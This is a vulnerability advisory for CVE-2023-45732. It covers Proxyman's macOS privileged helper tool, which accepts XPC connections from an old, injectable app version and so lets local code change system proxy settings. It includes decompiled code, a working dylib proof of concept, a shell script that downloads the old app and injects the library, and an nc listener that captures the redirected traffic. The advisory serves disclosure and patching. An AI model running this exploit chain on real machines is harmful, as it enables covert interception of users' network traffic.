Vendor: Proxyman LLC
Vendor URL: https://proxyman.io/
Versions affected: com.proxyman.NSProxy.HelperTool version 1.4.0 (distributed with Proxyman.app up to and including versions 4.11.0)
Systems Affected: macOS
Author: Scott Leitch
Advisory URL / CVE Identifier: CVE-2023-45732
Risk: Medium (Exploitation of this finding enables an attacker to redirect network traffic to an attacker-controlled location)
Summary
The com.proxyman.NSProxy.HelperTool
application (version 1.4.0), a privileged helper tool distributed with the Proxyman application (up to an including versions 4.10.1) for macOS 13 Ventura and earlier allows a local attacker to use earlier versions of the Proxyman application to maliciously change the System Proxy settings and redirect traffic to an attacker-controlled computer, facilitating MITM attacks or other passive network monitoring.
The Proxyman application affected is a macOS native desktop application used for HTTP(S) proxying. The application distribution includes a helper service tool (com.proxyman.NSProxy.HelperTool
) that is used to adjust system proxy settings. The main application communicates with this higher-privilege tool over XPC.
Impact
It is possible for a low-privilege attacker or otherwise malicious process to inconspicuously change the operating system’s HTTP(S) proxy settings, facilitating, e.g., MITM attacks.
Recommendation
Update to the HelperTool version 1.5.0 or higher, distributed with the most recent (4.13.0 as of writing) version of Proxyman.
Details
Much of the below is based heavily off of previous work by Csaba Fitzl, in particular his blogs which coincided with earlier CVEs:
- CVE-2019-20057 – Secure coding XPC services – Part 1 – Why EvenBetterAuthorization is not enough?
- CVE-2020-0984 – Secure coding XPC Services – Part 3 – Incorrect client verification
The HelperTool
class’s implemented (BOOL)listener:(NSXPCListener *) shouldAcceptNewConnection:(NSXPCConnection *)
instance method defines six code-signing requirement strings. A process attempting to establish a valid XPC connection to the installed com.proxyman.NSProxy.HelperTool
must satisfy one of these requirements.
/* @class HelperTool */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
r14 = self;
rax = [arg3 retain];
r12 = rax;
rdx = [rax processIdentifier];
[r14 setConnectionPID:rdx];
var_60 = @"identifier \"com.proxyman.NSProxy\" and anchor apple generic and certificate leaf[subject.CN] = \"Apple Development: Pham Huy (4G5FB38W27)\" and certificate 1[field.1.2.840.113635.100.6.2.1] /* exists */";
*( var_60 + 0x8) = @"identifier \"com.proxyman.NSProxy-setapp\" and anchor apple generic and certificate leaf[subject.CN] = \"Apple Development: Pham Huy (4G5FB38W27)\" and certificate 1[field.1.2.840.113635.100.6.2.1] /* exists */";
*( var_60 + 0x10) = @"identifier \"com.proxyman.NSProxy\" and anchor apple generic and certificate leaf[subject.CN] = \"Mac Developer: Pham Huy (4G5FB38W27)\" and certificate 1[field.1.2.840.113635.100.6.2.1] /* exists */";
*( var_60 + 0x18) = @"identifier \"com.proxyman.NSProxy-setapp\" and anchor apple generic and certificate leaf[subject.CN] = \"Mac Developer: Pham Huy (4G5FB38W27)\" and certificate 1[field.1.2.840.113635.100.6.2.1] /* exists */";
*( var_60 + 0x20) = @"anchor apple generic and identifier \"com.proxyman.NSProxy\" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = \"3X57WP8E8V\")";
*( var_60 + 0x28) = @"anchor apple generic and identifier \"com.proxyman.NSProxy-setapp\" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = \"3X57WP8E8V\")";
rax = [NSArray arrayWithObjects:rdx count:0x6];
rax = [rax retain];
r15 = rax;
rcx = r12;
if ([r14 [[[[validateIncomingConnectionForAllCodeSigns:rax forConnection:rcx] != 0x0]]]]) {
rax = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol), rcx];
rax = [rax retain];
[r12 setExportedInterface:rax, rcx];
[rax release];
[r12 setExportedObject:r14, rcx];
[r12 resume];
r14 = 0x1;
}
A de-compilation of the listener:shouldAcceptNewConnection:
instance method defined six potential security requirements before passing them to the validateIncomingConnectionForAllCodeSigns:forConnection:
instance method.
The above de-compilation shows the method grouping the six strings into an NSArray
and passing them into the HelperTool
‘s validateIncomingConnectionForAllCodeSigns:forConnection:
instance method. Looking into this instance method, we find that it will loop through the six code-signing requirement strings, each loop calling, in succession, SecCodeCopyGuestWithAttributes()
, SecRequirementCreateWithString
, and SecCodeCheckValidityWithErrors
to determine that the calling binary is correctly signed and conforms to one of the six allowed requirement strings.
An attacker able to pass the above security requirement check is able to communicate with the HelperTool
, tasked with managing the system’s proxy settings through a series of XPC service methods. Modern distributions of the main Proxyman.app
bundle are all signed with the hardened runtime flag, preventing library injection attacks that would look to take advantage of this, but an old version of Proxyman still available, version 1.3.4, is not signed with any code-signing flags, allowing an attacker to abuse it as a vector through which they can pass the above security validation check to communicate with an up-to-date HelperTool
distributed with recent versions of Proxyman, surreptitiously adjusting system proxy settings.
$ codesign -dv /Volumes/Proxyman/Proxyman.app/Contents/MacOS/Proxyman
Executable=/Volumes/Proxyman/Proxyman.app/Contents/MacOS/Proxyman
Identifier=com.proxyman.NSProxy
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=17716 flags=0x0(none) hashes=546+5 location=embedded
Signature size=8916
Timestamp=Apr 1, 2019 at 1:19:02 AM
Info.plist entries=31
TeamIdentifier=3X57WP8E8V
Sealed Resources version=2 rules=13 files=266
Internal requirements count=1 size=212
An old version of the Proxyman (1.3.4
) application was signed without flags to protect against library injections and also contained the requisite TeamIdentifier.
We can determine the exposed XPC service methods using the class-dump
tool. Though there are several methods it appears we may be able to communicate using, the most simple was legacySetProxySystemPreferencesWithAuthorization:(NSData *) enabled:(BOOL) host:(NSString *) port:(NSString *) reply:(void (^)(NSError *, BOOL))
:
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
XPC service methods exposed by the com.proxyman.NSProxy.HelperTool
service
Using this, it’s possible to build a dynamic library that can be force-loaded into the old Proxyman application that will, on startup, call to the XPC service and set the system’s proxy settings to attacker-controlled values. Some important code snippets are included below, with a full proof-of-concept source file included below.
@protocol HelperToolProtocol
- (void) legacySetProxySystemPreferencesWithAuthorization:(NSData *)auth_data
enabled:(BOOL)enabled host:(NSString *)host port:(NSString *)port
reply:(void (^)(NSError *, BOOL))reply;
- (void) getVersionWithReply:(void (^)(NSString *))reply;
@end
The target HelperToolProtocol
instance methods were included in the dynamic library.
[obj legacySetProxySystemPreferencesWithAuthorization:authorization
enabled:enab
host:host
port:port
reply:^(NSError * err, BOOL b) {
if (err != NULL) {
NSLog(@"[!] Error: %@", err);
exit(1);
} else {
NSLog(@"[+] Proxy set successfully!");
}
}
];
[obj getVersionWithReply:^(NSString * reply) {
NSLog(@"[+] HelperTool Version: %@", reply);
}];
[NSThread sleepForTimeInterval:0.5f];
NSLog(@"[+] Done.");
while (1) {
sleep(5);
};
Once authorization checks were passed, the dynamic library called the legacySetProxySystemPreferencesWithAuthorization
and getVersionWithReply
instance methods.
Once we compile the dynamic library we can then insert it into the old Proxyman application:
clang -dynamiclib -x objective-c -framework Foundation -framework Security -o ProxyHelper_PoC.dylib ./ProxyHelper_PoC.m
And using the below shell script ($ ./Poc.sh ./ProxyHelper_PoC.dylib
), it is possible to execute the proof-of-concept exploitation against a fully updated Proxyman installation, changing the system’s proxy settings:
#!/bin/sh
# Proyman HelperTool PoC
VERSION="1.3.4"
FILENAME="Proxyman_$VERSION.dmg"
URL="https://github.com/ProxymanApp/Proxyman/releases/download/$VERSION/$FILENAME"
TMP_DIR=$(mktemp -d)
MNT="proxyman"
EXEC_PATH="$TMP_DIR/$MNT/Proxyman.app/Contents/MacOS/Proxyman"
DYLIB=$1
HOST=$2
PORT=$3
set -e
echo "[+] Changing to $TMPDIR"
cp $DYLIB $TMP_DIR; cd $TMP_DIR; mkdir $MNT
echo "[+] Getting $URL..."
wget -q $URL
echo "[+] Mounting DMG..."
hdiutil attach $FILENAME -mountpoint $MNT \
-nobrowse -noautoopen -quiet
echo "[+] Injecting dylib..."
DYLD_INSERT_LIBRARIES=$DYLIB $EXEC_PATH $HOST $PORT
The exploit script will retrieve the old version of Proxyman, mount it, and inject the compiled dynamic library into it, exploiting the already-installed and up-to-date HelperTool.
$ ./PoC.sh ProxyHelper_PoC.dylib [[[[127.0.0.1 5555]]]]
[+] Changing to /var/folders/m5/h5w99qzx1zqdfj_bf8518h8w0000gn/T/
[+] Getting https://github.com/ProxymanApp/Proxyman/releases/download/1.3.4/Proxyman_1.3.4.dmg...
[+] Mounting DMG...
[+] Injecting dylib...
2023-08-31 16:46:38.856 Proxyman[4504:166167] OSStatus: No error.
2023-08-31 16:46:38.857 Proxyman[4504:166167] OSStatus: No error.
2023-08-31 16:46:38.857 Proxyman[4504:166167] OSStatus: No error.
2023-08-31 16:46:38.857 Proxyman[4504:166167] obj: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x600002364000>
2023-08-31 16:46:38.857 Proxyman[4504:166167] conn: connection to service named com.proxyman.NSProxy.HelperTool
2023-08-31 16:46:38.956 Proxyman[4504:166202] [+] Proxy set successfully!
2023-08-31 16:46:38.957 Proxyman[4504:166202] [+] HelperTool Version: 1.4.0
2023-08-31 16:46:39.358 Proxyman[4504:166167] [+] Done.
The exploit succeeded, changing the system’s proxy settings to http(s)://127.0.0.1:5555
With the exploit proof-of-concept successful, it is possible to open an nc
listener to catch requests being sent from browsers running on the system:
$ networksetup -getwebproxy Ethernet
Enabled: Yes
Server: 127.0.0.1
Port: 5555
Authenticated Proxy Enabled: 0
$ nc -nlvk 5555
CONNECT mesu.apple.com:443 HTTP/1.1
Host: mesu.apple.com
Proxy-Connection: keep-alive
Connection: keep-alive
CONNECT incoming.telemetry.mozilla.org:443 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Proxy-Connection: keep-alive
Connection: keep-alive
Host: incoming.telemetry.mozilla.org:443
With the proxy set, an nc
listener on the selected port will catch requests from applications that adhere to the system proxy.